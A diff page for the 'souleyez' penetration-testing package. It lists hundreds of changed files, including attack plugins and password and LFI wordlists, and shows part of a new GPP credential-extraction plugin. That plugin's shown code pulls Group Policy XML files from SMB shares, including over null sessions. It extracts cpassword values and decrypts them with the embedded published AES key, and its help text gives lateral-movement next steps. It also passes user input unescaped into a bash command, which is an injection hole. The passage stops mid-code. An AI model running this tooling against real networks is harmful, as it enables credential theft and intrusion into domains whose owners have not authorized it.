souleyez 2.43.29__py3-none-any.whl → 3.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (358) hide show
  1. souleyez/__init__.py +1 -2
  2. souleyez/ai/__init__.py +21 -15
  3. souleyez/ai/action_mapper.py +249 -150
  4. souleyez/ai/chain_advisor.py +116 -100
  5. souleyez/ai/claude_provider.py +29 -28
  6. souleyez/ai/context_builder.py +80 -62
  7. souleyez/ai/executor.py +158 -117
  8. souleyez/ai/feedback_handler.py +136 -121
  9. souleyez/ai/llm_factory.py +27 -20
  10. souleyez/ai/llm_provider.py +4 -2
  11. souleyez/ai/ollama_provider.py +6 -9
  12. souleyez/ai/ollama_service.py +44 -37
  13. souleyez/ai/path_scorer.py +91 -76
  14. souleyez/ai/recommender.py +176 -144
  15. souleyez/ai/report_context.py +74 -73
  16. souleyez/ai/report_service.py +84 -66
  17. souleyez/ai/result_parser.py +222 -229
  18. souleyez/ai/safety.py +67 -44
  19. souleyez/auth/__init__.py +23 -22
  20. souleyez/auth/audit.py +36 -26
  21. souleyez/auth/engagement_access.py +65 -48
  22. souleyez/auth/permissions.py +14 -3
  23. souleyez/auth/session_manager.py +54 -37
  24. souleyez/auth/user_manager.py +109 -64
  25. souleyez/commands/audit.py +40 -43
  26. souleyez/commands/auth.py +35 -15
  27. souleyez/commands/deliverables.py +55 -50
  28. souleyez/commands/engagement.py +47 -28
  29. souleyez/commands/license.py +32 -23
  30. souleyez/commands/screenshots.py +36 -32
  31. souleyez/commands/user.py +82 -36
  32. souleyez/config.py +52 -44
  33. souleyez/core/credential_tester.py +87 -81
  34. souleyez/core/cve_mappings.py +179 -192
  35. souleyez/core/cve_matcher.py +162 -148
  36. souleyez/core/msf_auto_mapper.py +100 -83
  37. souleyez/core/msf_chain_engine.py +294 -256
  38. souleyez/core/msf_database.py +153 -70
  39. souleyez/core/msf_integration.py +679 -673
  40. souleyez/core/msf_rpc_client.py +40 -42
  41. souleyez/core/msf_rpc_manager.py +77 -79
  42. souleyez/core/msf_sync_manager.py +241 -181
  43. souleyez/core/network_utils.py +22 -15
  44. souleyez/core/parser_handler.py +34 -25
  45. souleyez/core/pending_chains.py +114 -63
  46. souleyez/core/templates.py +158 -107
  47. souleyez/core/tool_chaining.py +9564 -2881
  48. souleyez/core/version_utils.py +79 -94
  49. souleyez/core/vuln_correlation.py +136 -89
  50. souleyez/core/web_utils.py +33 -32
  51. souleyez/data/wordlists/ad_users.txt +378 -0
  52. souleyez/data/wordlists/api_endpoints_large.txt +769 -0
  53. souleyez/data/wordlists/home_dir_sensitive.txt +39 -0
  54. souleyez/data/wordlists/lfi_payloads.txt +82 -0
  55. souleyez/data/wordlists/passwords_brute.txt +1548 -0
  56. souleyez/data/wordlists/passwords_crack.txt +2479 -0
  57. souleyez/data/wordlists/passwords_spray.txt +386 -0
  58. souleyez/data/wordlists/subdomains_large.txt +5057 -0
  59. souleyez/data/wordlists/usernames_common.txt +694 -0
  60. souleyez/data/wordlists/web_dirs_large.txt +4769 -0
  61. souleyez/detection/__init__.py +1 -1
  62. souleyez/detection/attack_signatures.py +12 -17
  63. souleyez/detection/mitre_mappings.py +61 -55
  64. souleyez/detection/validator.py +97 -86
  65. souleyez/devtools.py +23 -10
  66. souleyez/docs/README.md +4 -4
  67. souleyez/docs/api-reference/cli-commands.md +2 -2
  68. souleyez/docs/developer-guide/adding-new-tools.md +562 -0
  69. souleyez/docs/user-guide/auto-chaining.md +30 -8
  70. souleyez/docs/user-guide/getting-started.md +1 -1
  71. souleyez/docs/user-guide/installation.md +26 -3
  72. souleyez/docs/user-guide/metasploit-integration.md +2 -2
  73. souleyez/docs/user-guide/rbac.md +1 -1
  74. souleyez/docs/user-guide/scope-management.md +1 -1
  75. souleyez/docs/user-guide/siem-integration.md +1 -1
  76. souleyez/docs/user-guide/tools-reference.md +1 -8
  77. souleyez/docs/user-guide/worker-management.md +1 -1
  78. souleyez/engine/background.py +1239 -535
  79. souleyez/engine/base.py +4 -1
  80. souleyez/engine/job_status.py +17 -49
  81. souleyez/engine/log_sanitizer.py +103 -77
  82. souleyez/engine/manager.py +38 -7
  83. souleyez/engine/result_handler.py +2200 -1550
  84. souleyez/engine/worker_manager.py +50 -41
  85. souleyez/export/evidence_bundle.py +72 -62
  86. souleyez/feature_flags/features.py +16 -20
  87. souleyez/feature_flags.py +5 -9
  88. souleyez/handlers/__init__.py +11 -0
  89. souleyez/handlers/base.py +188 -0
  90. souleyez/handlers/bash_handler.py +277 -0
  91. souleyez/handlers/bloodhound_handler.py +243 -0
  92. souleyez/handlers/certipy_handler.py +311 -0
  93. souleyez/handlers/crackmapexec_handler.py +486 -0
  94. souleyez/handlers/dnsrecon_handler.py +344 -0
  95. souleyez/handlers/enum4linux_handler.py +400 -0
  96. souleyez/handlers/evil_winrm_handler.py +493 -0
  97. souleyez/handlers/ffuf_handler.py +815 -0
  98. souleyez/handlers/gobuster_handler.py +1114 -0
  99. souleyez/handlers/gpp_extract_handler.py +334 -0
  100. souleyez/handlers/hashcat_handler.py +444 -0
  101. souleyez/handlers/hydra_handler.py +564 -0
  102. souleyez/handlers/impacket_getuserspns_handler.py +343 -0
  103. souleyez/handlers/impacket_psexec_handler.py +222 -0
  104. souleyez/handlers/impacket_secretsdump_handler.py +426 -0
  105. souleyez/handlers/john_handler.py +286 -0
  106. souleyez/handlers/katana_handler.py +425 -0
  107. souleyez/handlers/kerbrute_handler.py +298 -0
  108. souleyez/handlers/ldapsearch_handler.py +636 -0
  109. souleyez/handlers/lfi_extract_handler.py +464 -0
  110. souleyez/handlers/msf_auxiliary_handler.py +409 -0
  111. souleyez/handlers/msf_exploit_handler.py +380 -0
  112. souleyez/handlers/nikto_handler.py +413 -0
  113. souleyez/handlers/nmap_handler.py +821 -0
  114. souleyez/handlers/nuclei_handler.py +359 -0
  115. souleyez/handlers/nxc_handler.py +417 -0
  116. souleyez/handlers/rdp_sec_check_handler.py +353 -0
  117. souleyez/handlers/registry.py +292 -0
  118. souleyez/handlers/responder_handler.py +232 -0
  119. souleyez/handlers/service_explorer_handler.py +434 -0
  120. souleyez/handlers/smbclient_handler.py +344 -0
  121. souleyez/handlers/smbmap_handler.py +510 -0
  122. souleyez/handlers/smbpasswd_handler.py +296 -0
  123. souleyez/handlers/sqlmap_handler.py +1116 -0
  124. souleyez/handlers/theharvester_handler.py +601 -0
  125. souleyez/handlers/web_login_test_handler.py +327 -0
  126. souleyez/handlers/whois_handler.py +277 -0
  127. souleyez/handlers/wpscan_handler.py +554 -0
  128. souleyez/history.py +32 -16
  129. souleyez/importers/msf_importer.py +106 -75
  130. souleyez/importers/smart_importer.py +208 -147
  131. souleyez/integrations/siem/__init__.py +10 -10
  132. souleyez/integrations/siem/base.py +17 -18
  133. souleyez/integrations/siem/elastic.py +108 -122
  134. souleyez/integrations/siem/factory.py +207 -80
  135. souleyez/integrations/siem/googlesecops.py +146 -154
  136. souleyez/integrations/siem/rule_mappings/__init__.py +1 -1
  137. souleyez/integrations/siem/rule_mappings/wazuh_rules.py +8 -5
  138. souleyez/integrations/siem/sentinel.py +107 -109
  139. souleyez/integrations/siem/splunk.py +246 -212
  140. souleyez/integrations/siem/wazuh.py +65 -71
  141. souleyez/integrations/wazuh/__init__.py +5 -5
  142. souleyez/integrations/wazuh/client.py +70 -93
  143. souleyez/integrations/wazuh/config.py +85 -57
  144. souleyez/integrations/wazuh/host_mapper.py +28 -36
  145. souleyez/integrations/wazuh/sync.py +78 -68
  146. souleyez/intelligence/__init__.py +4 -5
  147. souleyez/intelligence/correlation_analyzer.py +309 -295
  148. souleyez/intelligence/exploit_knowledge.py +661 -623
  149. souleyez/intelligence/exploit_suggestions.py +159 -139
  150. souleyez/intelligence/gap_analyzer.py +132 -97
  151. souleyez/intelligence/gap_detector.py +251 -214
  152. souleyez/intelligence/sensitive_tables.py +266 -129
  153. souleyez/intelligence/service_parser.py +137 -123
  154. souleyez/intelligence/surface_analyzer.py +407 -268
  155. souleyez/intelligence/target_parser.py +159 -162
  156. souleyez/licensing/__init__.py +6 -6
  157. souleyez/licensing/validator.py +17 -19
  158. souleyez/log_config.py +79 -54
  159. souleyez/main.py +1505 -687
  160. souleyez/migrations/fix_job_counter.py +16 -14
  161. souleyez/parsers/bloodhound_parser.py +41 -39
  162. souleyez/parsers/crackmapexec_parser.py +178 -111
  163. souleyez/parsers/dalfox_parser.py +72 -77
  164. souleyez/parsers/dnsrecon_parser.py +103 -91
  165. souleyez/parsers/enum4linux_parser.py +183 -153
  166. souleyez/parsers/ffuf_parser.py +29 -25
  167. souleyez/parsers/gobuster_parser.py +301 -41
  168. souleyez/parsers/hashcat_parser.py +324 -79
  169. souleyez/parsers/http_fingerprint_parser.py +350 -103
  170. souleyez/parsers/hydra_parser.py +131 -111
  171. souleyez/parsers/impacket_parser.py +231 -178
  172. souleyez/parsers/john_parser.py +98 -86
  173. souleyez/parsers/katana_parser.py +316 -0
  174. souleyez/parsers/msf_parser.py +943 -498
  175. souleyez/parsers/nikto_parser.py +346 -65
  176. souleyez/parsers/nmap_parser.py +262 -174
  177. souleyez/parsers/nuclei_parser.py +40 -44
  178. souleyez/parsers/responder_parser.py +26 -26
  179. souleyez/parsers/searchsploit_parser.py +74 -74
  180. souleyez/parsers/service_explorer_parser.py +279 -0
  181. souleyez/parsers/smbmap_parser.py +180 -124
  182. souleyez/parsers/sqlmap_parser.py +434 -308
  183. souleyez/parsers/theharvester_parser.py +75 -57
  184. souleyez/parsers/whois_parser.py +135 -94
  185. souleyez/parsers/wpscan_parser.py +278 -190
  186. souleyez/plugins/afp.py +44 -36
  187. souleyez/plugins/afp_brute.py +114 -46
  188. souleyez/plugins/ard.py +48 -37
  189. souleyez/plugins/bloodhound.py +95 -61
  190. souleyez/plugins/certipy.py +303 -0
  191. souleyez/plugins/crackmapexec.py +186 -85
  192. souleyez/plugins/dalfox.py +120 -59
  193. souleyez/plugins/dns_hijack.py +146 -41
  194. souleyez/plugins/dnsrecon.py +97 -61
  195. souleyez/plugins/enum4linux.py +91 -66
  196. souleyez/plugins/evil_winrm.py +291 -0
  197. souleyez/plugins/ffuf.py +166 -90
  198. souleyez/plugins/firmware_extract.py +133 -29
  199. souleyez/plugins/gobuster.py +387 -190
  200. souleyez/plugins/gpp_extract.py +393 -0
  201. souleyez/plugins/hashcat.py +100 -73
  202. souleyez/plugins/http_fingerprint.py +913 -267
  203. souleyez/plugins/hydra.py +566 -200
  204. souleyez/plugins/impacket_getnpusers.py +117 -69
  205. souleyez/plugins/impacket_psexec.py +84 -64
  206. souleyez/plugins/impacket_secretsdump.py +103 -69
  207. souleyez/plugins/impacket_smbclient.py +89 -75
  208. souleyez/plugins/john.py +86 -69
  209. souleyez/plugins/katana.py +313 -0
  210. souleyez/plugins/kerbrute.py +237 -0
  211. souleyez/plugins/lfi_extract.py +541 -0
  212. souleyez/plugins/macos_ssh.py +117 -48
  213. souleyez/plugins/mdns.py +35 -30
  214. souleyez/plugins/msf_auxiliary.py +253 -130
  215. souleyez/plugins/msf_exploit.py +239 -161
  216. souleyez/plugins/nikto.py +134 -78
  217. souleyez/plugins/nmap.py +275 -91
  218. souleyez/plugins/nuclei.py +180 -89
  219. souleyez/plugins/nxc.py +285 -0
  220. souleyez/plugins/plugin_base.py +35 -36
  221. souleyez/plugins/plugin_template.py +13 -5
  222. souleyez/plugins/rdp_sec_check.py +130 -0
  223. souleyez/plugins/responder.py +112 -71
  224. souleyez/plugins/router_http_brute.py +76 -65
  225. souleyez/plugins/router_ssh_brute.py +118 -41
  226. souleyez/plugins/router_telnet_brute.py +124 -42
  227. souleyez/plugins/routersploit.py +91 -59
  228. souleyez/plugins/routersploit_exploit.py +77 -55
  229. souleyez/plugins/searchsploit.py +91 -77
  230. souleyez/plugins/service_explorer.py +1160 -0
  231. souleyez/plugins/smbmap.py +122 -72
  232. souleyez/plugins/smbpasswd.py +215 -0
  233. souleyez/plugins/sqlmap.py +301 -113
  234. souleyez/plugins/theharvester.py +127 -75
  235. souleyez/plugins/tr069.py +79 -57
  236. souleyez/plugins/upnp.py +65 -47
  237. souleyez/plugins/upnp_abuse.py +73 -55
  238. souleyez/plugins/vnc_access.py +129 -42
  239. souleyez/plugins/vnc_brute.py +109 -38
  240. souleyez/plugins/web_login_test.py +417 -0
  241. souleyez/plugins/whois.py +77 -58
  242. souleyez/plugins/wpscan.py +219 -69
  243. souleyez/reporting/__init__.py +2 -1
  244. souleyez/reporting/attack_chain.py +411 -346
  245. souleyez/reporting/charts.py +436 -501
  246. souleyez/reporting/compliance_mappings.py +334 -201
  247. souleyez/reporting/detection_report.py +126 -125
  248. souleyez/reporting/formatters.py +828 -591
  249. souleyez/reporting/generator.py +386 -302
  250. souleyez/reporting/metrics.py +72 -75
  251. souleyez/scanner.py +35 -29
  252. souleyez/security/__init__.py +37 -11
  253. souleyez/security/scope_validator.py +175 -106
  254. souleyez/security/validation.py +237 -149
  255. souleyez/security.py +22 -6
  256. souleyez/storage/credentials.py +247 -186
  257. souleyez/storage/crypto.py +296 -129
  258. souleyez/storage/database.py +73 -50
  259. souleyez/storage/db.py +58 -36
  260. souleyez/storage/deliverable_evidence.py +177 -128
  261. souleyez/storage/deliverable_exporter.py +282 -246
  262. souleyez/storage/deliverable_templates.py +134 -116
  263. souleyez/storage/deliverables.py +135 -130
  264. souleyez/storage/engagements.py +109 -56
  265. souleyez/storage/evidence.py +181 -152
  266. souleyez/storage/execution_log.py +31 -17
  267. souleyez/storage/exploit_attempts.py +93 -57
  268. souleyez/storage/exploits.py +67 -36
  269. souleyez/storage/findings.py +48 -61
  270. souleyez/storage/hosts.py +176 -144
  271. souleyez/storage/migrate_to_engagements.py +43 -19
  272. souleyez/storage/migrations/_001_add_credential_enhancements.py +22 -12
  273. souleyez/storage/migrations/_002_add_status_tracking.py +10 -7
  274. souleyez/storage/migrations/_003_add_execution_log.py +14 -8
  275. souleyez/storage/migrations/_005_screenshots.py +13 -5
  276. souleyez/storage/migrations/_006_deliverables.py +13 -5
  277. souleyez/storage/migrations/_007_deliverable_templates.py +12 -7
  278. souleyez/storage/migrations/_008_add_nuclei_table.py +10 -4
  279. souleyez/storage/migrations/_010_evidence_linking.py +17 -10
  280. souleyez/storage/migrations/_011_timeline_tracking.py +20 -13
  281. souleyez/storage/migrations/_012_team_collaboration.py +34 -21
  282. souleyez/storage/migrations/_013_add_host_tags.py +12 -6
  283. souleyez/storage/migrations/_014_exploit_attempts.py +22 -10
  284. souleyez/storage/migrations/_015_add_mac_os_fields.py +15 -7
  285. souleyez/storage/migrations/_016_add_domain_field.py +10 -4
  286. souleyez/storage/migrations/_017_msf_sessions.py +16 -8
  287. souleyez/storage/migrations/_018_add_osint_target.py +10 -6
  288. souleyez/storage/migrations/_019_add_engagement_type.py +10 -6
  289. souleyez/storage/migrations/_020_add_rbac.py +36 -15
  290. souleyez/storage/migrations/_021_wazuh_integration.py +20 -8
  291. souleyez/storage/migrations/_022_wazuh_indexer_columns.py +6 -4
  292. souleyez/storage/migrations/_023_fix_detection_results_fk.py +16 -6
  293. souleyez/storage/migrations/_024_wazuh_vulnerabilities.py +26 -10
  294. souleyez/storage/migrations/_025_multi_siem_support.py +3 -5
  295. souleyez/storage/migrations/_026_add_engagement_scope.py +31 -12
  296. souleyez/storage/migrations/_027_multi_siem_persistence.py +32 -15
  297. souleyez/storage/migrations/__init__.py +26 -26
  298. souleyez/storage/migrations/migration_manager.py +19 -19
  299. souleyez/storage/msf_sessions.py +100 -65
  300. souleyez/storage/osint.py +17 -24
  301. souleyez/storage/recommendation_engine.py +269 -235
  302. souleyez/storage/screenshots.py +33 -32
  303. souleyez/storage/smb_shares.py +136 -92
  304. souleyez/storage/sqlmap_data.py +183 -128
  305. souleyez/storage/team_collaboration.py +135 -141
  306. souleyez/storage/timeline_tracker.py +122 -94
  307. souleyez/storage/wazuh_vulns.py +64 -66
  308. souleyez/storage/web_paths.py +33 -37
  309. souleyez/testing/credential_tester.py +221 -205
  310. souleyez/ui/__init__.py +1 -1
  311. souleyez/ui/ai_quotes.py +12 -12
  312. souleyez/ui/attack_surface.py +2439 -1516
  313. souleyez/ui/chain_rules_view.py +914 -382
  314. souleyez/ui/correlation_view.py +312 -230
  315. souleyez/ui/dashboard.py +2382 -1130
  316. souleyez/ui/deliverables_view.py +148 -62
  317. souleyez/ui/design_system.py +13 -13
  318. souleyez/ui/errors.py +49 -49
  319. souleyez/ui/evidence_linking_view.py +284 -179
  320. souleyez/ui/evidence_vault.py +393 -285
  321. souleyez/ui/exploit_suggestions_view.py +555 -349
  322. souleyez/ui/export_view.py +100 -66
  323. souleyez/ui/gap_analysis_view.py +315 -171
  324. souleyez/ui/help_system.py +105 -97
  325. souleyez/ui/intelligence_view.py +436 -293
  326. souleyez/ui/interactive.py +23034 -10679
  327. souleyez/ui/interactive_selector.py +75 -68
  328. souleyez/ui/log_formatter.py +47 -39
  329. souleyez/ui/menu_components.py +22 -13
  330. souleyez/ui/msf_auxiliary_menu.py +184 -133
  331. souleyez/ui/pending_chains_view.py +336 -172
  332. souleyez/ui/progress_indicators.py +5 -3
  333. souleyez/ui/recommendations_view.py +195 -137
  334. souleyez/ui/rule_builder.py +343 -225
  335. souleyez/ui/setup_wizard.py +678 -284
  336. souleyez/ui/shortcuts.py +217 -165
  337. souleyez/ui/splunk_gap_analysis_view.py +452 -270
  338. souleyez/ui/splunk_vulns_view.py +139 -86
  339. souleyez/ui/team_dashboard.py +498 -335
  340. souleyez/ui/template_selector.py +196 -105
  341. souleyez/ui/terminal.py +6 -6
  342. souleyez/ui/timeline_view.py +198 -127
  343. souleyez/ui/tool_setup.py +264 -164
  344. souleyez/ui/tutorial.py +202 -72
  345. souleyez/ui/tutorial_state.py +40 -40
  346. souleyez/ui/wazuh_vulns_view.py +235 -141
  347. souleyez/ui/wordlist_browser.py +260 -107
  348. souleyez/ui.py +464 -312
  349. souleyez/utils/tool_checker.py +427 -367
  350. souleyez/utils.py +33 -29
  351. souleyez/wordlists.py +134 -167
  352. {souleyez-2.43.29.dist-info → souleyez-3.0.0.dist-info}/METADATA +2 -2
  353. souleyez-3.0.0.dist-info/RECORD +443 -0
  354. {souleyez-2.43.29.dist-info → souleyez-3.0.0.dist-info}/WHEEL +1 -1
  355. souleyez-2.43.29.dist-info/RECORD +0 -379
  356. {souleyez-2.43.29.dist-info → souleyez-3.0.0.dist-info}/entry_points.txt +0 -0
  357. {souleyez-2.43.29.dist-info → souleyez-3.0.0.dist-info}/licenses/LICENSE +0 -0
  358. {souleyez-2.43.29.dist-info → souleyez-3.0.0.dist-info}/top_level.txt +0 -0
@@ -0,0 +1,393 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ GPP (Group Policy Preferences) credential extraction plugin.
4
+
5
+ Downloads GPP XML files from SMB shares and extracts/decrypts cPassword values.
6
+ """
7
+ import os
8
+ import re
9
+ import subprocess
10
+ import tempfile
11
+ from typing import Any, Dict, List, Optional
12
+
13
+ from .plugin_base import PluginBase
14
+
15
+ HELP = {
16
+ "name": "GPP Extract — Group Policy Preferences Credential Extraction",
17
+ "description": (
18
+ "Extracts and decrypts credentials from Group Policy Preferences (GPP) XML files.\n\n"
19
+ "GPP files (Groups.xml, ScheduledTasks.xml, etc.) often contain encrypted passwords.\n"
20
+ "Microsoft published the AES key used for encryption (MS14-025), making these\n"
21
+ "passwords trivially decryptable.\n\n"
22
+ "This tool:\n"
23
+ "- Downloads GPP XML files from SMB shares via smbclient\n"
24
+ "- Extracts cpassword attributes from the XML\n"
25
+ "- Decrypts using gpp-decrypt (or built-in Python fallback)\n"
26
+ "- Stores plaintext credentials in the database\n\n"
27
+ "Common GPP file locations:\n"
28
+ "- \\\\DC\\SYSVOL\\domain\\Policies\\{GUID}\\Machine\\Preferences\\Groups\\Groups.xml\n"
29
+ "- \\\\DC\\Replication\\...\\Preferences\\Groups\\Groups.xml\n"
30
+ ),
31
+ "usage": 'souleyez jobs enqueue gpp_extract <target> --args "--share <share> --path <path>"',
32
+ "examples": [
33
+ 'souleyez jobs enqueue gpp_extract 10.10.10.100 --args "--share Replication --path active.htb/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml"',
34
+ 'souleyez jobs enqueue gpp_extract 192.168.1.1 --args "--share SYSVOL --path domain.local/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml --user admin --password Pass123"',
35
+ ],
36
+ "flags": [
37
+ ["--share <name>", "SMB share name (e.g., SYSVOL, Replication)"],
38
+ ["--path <path>", "Path to GPP file within the share"],
39
+ ["--host <ip>", "Target host (defaults to target argument)"],
40
+ ["--user <name>", "Username for authenticated access (optional)"],
41
+ ["--password <pass>", "Password for authenticated access (optional)"],
42
+ ],
43
+ "presets": [
44
+ {
45
+ "name": "Anonymous",
46
+ "args": [],
47
+ "desc": "Extract using anonymous/null session",
48
+ },
49
+ {
50
+ "name": "Authenticated",
51
+ "args": ["--user", "USER", "--password", "PASS"],
52
+ "desc": "Extract with credentials",
53
+ },
54
+ ],
55
+ "help_sections": [
56
+ {
57
+ "title": "What is GPP Password Extraction?",
58
+ "color": "cyan",
59
+ "content": [
60
+ (
61
+ "Overview",
62
+ [
63
+ "Group Policy Preferences (GPP) can store encrypted passwords",
64
+ "Microsoft published the AES key (MS14-025) - passwords are trivially decryptable!",
65
+ "Found in SYSVOL/Replication shares on domain controllers",
66
+ ],
67
+ ),
68
+ (
69
+ "Why This Works",
70
+ [
71
+ "GPP was designed to set local admin passwords via Group Policy",
72
+ "The encryption key was meant to be secret but was published in MSDN docs",
73
+ "Despite being 'patched', old GPP files often remain on DCs",
74
+ ],
75
+ ),
76
+ ],
77
+ },
78
+ {
79
+ "title": "Usage & Examples",
80
+ "color": "green",
81
+ "content": [
82
+ (
83
+ "Anonymous Access",
84
+ [
85
+ 'souleyez jobs enqueue gpp_extract 10.10.10.100 --args "--share Replication --path active.htb/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml"',
86
+ " → Downloads and decrypts GPP file via null session",
87
+ ],
88
+ ),
89
+ (
90
+ "With Credentials",
91
+ [
92
+ 'souleyez jobs enqueue gpp_extract 10.10.10.100 --args "--share SYSVOL --path domain/Policies/{GUID}/... --user admin --password Pass123"',
93
+ " → Uses credentials to access the share",
94
+ ],
95
+ ),
96
+ ],
97
+ },
98
+ {
99
+ "title": "Finding GPP Files",
100
+ "color": "yellow",
101
+ "content": [
102
+ (
103
+ "Common Locations",
104
+ [
105
+ "\\\\DC\\SYSVOL\\domain\\Policies\\{GUID}\\Machine\\Preferences\\Groups\\Groups.xml",
106
+ "\\\\DC\\SYSVOL\\domain\\Policies\\{GUID}\\User\\Preferences\\Groups\\Groups.xml",
107
+ "\\\\DC\\Replication\\...\\Preferences\\Groups\\Groups.xml",
108
+ ],
109
+ ),
110
+ (
111
+ "GPP File Types",
112
+ [
113
+ "Groups.xml - Local group membership and passwords",
114
+ "Services.xml - Service account credentials",
115
+ "ScheduledTasks.xml - Scheduled task credentials",
116
+ "DataSources.xml - Database connection strings",
117
+ "Drives.xml - Mapped drive credentials",
118
+ ],
119
+ ),
120
+ (
121
+ "Discovery Workflow",
122
+ [
123
+ "1. Run smbmap to enumerate shares",
124
+ "2. Look for SYSVOL or Replication with read access",
125
+ "3. Browse Policies folders for Preferences directories",
126
+ "4. Auto-chains will trigger this tool when GPP files found",
127
+ ],
128
+ ),
129
+ ],
130
+ },
131
+ {
132
+ "title": "After Getting Credentials",
133
+ "color": "magenta",
134
+ "content": [
135
+ (
136
+ "Next Steps",
137
+ [
138
+ "Try credentials on SMB, WinRM, RDP, LDAP",
139
+ "Check if account has special privileges (Domain Admin?)",
140
+ "Use for Kerberoasting if it's a service account",
141
+ "Run secretsdump to extract more credentials",
142
+ ],
143
+ ),
144
+ ],
145
+ },
146
+ ],
147
+ }
148
+
149
+
150
+ class GppExtractPlugin(PluginBase):
151
+ """Plugin for extracting credentials from GPP XML files."""
152
+
153
+ name = "gpp_extract"
154
+ display_name = "GPP Extract"
155
+ description = (
156
+ "Extract and decrypt credentials from Group Policy Preferences XML files"
157
+ )
158
+ category = "credentials"
159
+ HELP = HELP
160
+
161
+ examples = [
162
+ 'souleyez jobs enqueue gpp_extract 10.10.10.100 --args "--share Replication --path active.htb/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml"',
163
+ ]
164
+
165
+ def build_command(
166
+ self,
167
+ target: str,
168
+ args: List[str] = None,
169
+ wordlist: str = None,
170
+ label: str = None,
171
+ ) -> Dict[str, Any]:
172
+ """
173
+ Build the command to download and extract GPP credentials.
174
+
175
+ Args format:
176
+ --share <share_name>
177
+ --path <path_to_gpp_file>
178
+ --host <host> (optional, defaults to target)
179
+ --user <username> (optional)
180
+ --password <password> (optional)
181
+ """
182
+ args = args or []
183
+
184
+ # Parse args
185
+ share = None
186
+ path = None
187
+ host = target
188
+ user = ""
189
+ password = ""
190
+
191
+ i = 0
192
+ while i < len(args):
193
+ if args[i] == "--share" and i + 1 < len(args):
194
+ share = args[i + 1]
195
+ i += 2
196
+ elif args[i] == "--path" and i + 1 < len(args):
197
+ path = args[i + 1]
198
+ i += 2
199
+ elif args[i] == "--host" and i + 1 < len(args):
200
+ host = args[i + 1]
201
+ i += 2
202
+ elif args[i] == "--user" and i + 1 < len(args):
203
+ user = args[i + 1]
204
+ i += 2
205
+ elif args[i] == "--password" and i + 1 < len(args):
206
+ password = args[i + 1]
207
+ i += 2
208
+ else:
209
+ i += 1
210
+
211
+ if not share or not path:
212
+ return {
213
+ "cmd": ["echo", "Error: --share and --path are required"],
214
+ "timeout": 10,
215
+ }
216
+
217
+ # Build smbclient command to download the file
218
+ # We'll use a wrapper script approach since we need to parse output
219
+ smb_path = f"//{host}/{share}"
220
+
221
+ # Credential args
222
+ cred_args = "-N" # No password (anonymous)
223
+ if user:
224
+ cred_args = f"-U '{user}%{password}'"
225
+
226
+ # Build smbclient get command
227
+ cmd = [
228
+ "bash",
229
+ "-c",
230
+ f"""
231
+ set -e
232
+ echo "=== GPP Credential Extraction ==="
233
+ echo "Host: {host}"
234
+ echo "Share: {share}"
235
+ echo "Path: {path}"
236
+ echo ""
237
+
238
+ # Create temp directory for download
239
+ TMPDIR=$(mktemp -d)
240
+ trap "rm -rf $TMPDIR" EXIT
241
+
242
+ # Download the GPP file
243
+ echo "[*] Downloading GPP file..."
244
+ smbclient '{smb_path}' {cred_args} -c "get \\"{path}\\" \\"$TMPDIR/gpp.xml\\"" 2>&1 || true
245
+
246
+ if [ ! -f "$TMPDIR/gpp.xml" ]; then
247
+ echo "[-] Failed to download GPP file"
248
+ echo "[-] Trying alternative path format..."
249
+ # Try without leading path component
250
+ ALTPATH=$(echo "{path}" | sed 's|^[^/]*/||')
251
+ smbclient '{smb_path}' {cred_args} -c "get \\"$ALTPATH\\" \\"$TMPDIR/gpp.xml\\"" 2>&1 || true
252
+ fi
253
+
254
+ if [ ! -f "$TMPDIR/gpp.xml" ]; then
255
+ echo "[-] Failed to download GPP file"
256
+ exit 1
257
+ fi
258
+
259
+ echo "[+] Downloaded GPP file successfully"
260
+ echo ""
261
+ echo "=== GPP File Contents ==="
262
+ cat "$TMPDIR/gpp.xml"
263
+ echo ""
264
+ echo ""
265
+
266
+ # Extract cPassword using grep/sed
267
+ echo "=== Extracting Credentials ==="
268
+ CPASSWORD=$(grep -oP 'cpassword="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
269
+ USERNAME=$(grep -oP 'userName="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
270
+ NEWNAME=$(grep -oP 'newName="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
271
+
272
+ if [ -z "$CPASSWORD" ]; then
273
+ # Try alternative attribute names
274
+ CPASSWORD=$(grep -oP 'cPassword="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
275
+ fi
276
+
277
+ if [ -z "$USERNAME" ]; then
278
+ USERNAME=$(grep -oP 'runAs="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
279
+ fi
280
+
281
+ if [ -n "$USERNAME" ]; then
282
+ echo "[+] Username: $USERNAME"
283
+ fi
284
+ if [ -n "$NEWNAME" ]; then
285
+ echo "[+] New Name: $NEWNAME"
286
+ fi
287
+
288
+ if [ -z "$CPASSWORD" ]; then
289
+ echo "[-] No cpassword found in GPP file"
290
+ exit 0
291
+ fi
292
+
293
+ echo "[+] Encrypted Password (cpassword): $CPASSWORD"
294
+ echo ""
295
+
296
+ # Decrypt using gpp-decrypt
297
+ echo "=== Decrypting Password ==="
298
+ if command -v gpp-decrypt &> /dev/null; then
299
+ PLAINTEXT=$(gpp-decrypt "$CPASSWORD" 2>&1)
300
+ if [ -n "$PLAINTEXT" ]; then
301
+ echo "[+] Decrypted Password: $PLAINTEXT"
302
+ echo ""
303
+ echo "=== CREDENTIALS FOUND ==="
304
+ echo "Username: $USERNAME"
305
+ echo "Password: $PLAINTEXT"
306
+ echo "========================="
307
+ else
308
+ echo "[-] gpp-decrypt failed to decrypt"
309
+ fi
310
+ else
311
+ echo "[-] gpp-decrypt not found, trying Python decryption..."
312
+ # Fallback: Python-based decryption
313
+ python3 -c "
314
+ import base64
315
+ from Crypto.Cipher import AES
316
+ from Crypto.Util.Padding import unpad
317
+
318
+ # Microsoft published AES key for GPP
319
+ key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
320
+ cpassword = '$CPASSWORD'
321
+
322
+ # Add padding if needed
323
+ cpassword += '=' * (4 - len(cpassword) % 4)
324
